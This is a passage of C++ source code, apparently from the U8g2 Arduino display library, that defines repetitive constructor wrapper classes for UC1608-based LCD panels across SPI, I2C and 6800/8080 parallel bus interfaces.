U8G2_UC1608_ERC24064_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_6800 : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_8080 : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_6800 : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_8080 : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_ERC24064_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_DEM240064_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_ERC24064_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_DEM240064_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_ERC24064_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC24064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_DEM240064_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_DEM240064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_6800 : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_8080 : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_6800 : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_8080 : public U8G2 {\n  public: U8G2_UC1608_ERC240120_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_6800 : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_F_8080 : public U8G2 {\n  public: U8G2_UC1608_ERC240120_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_erc240120_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1608_ERC240120_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1608_ERC240120_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1608_i2c_erc240120_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1608_ERC240120_2_SW_I2C : public U8G2 {\n  public: 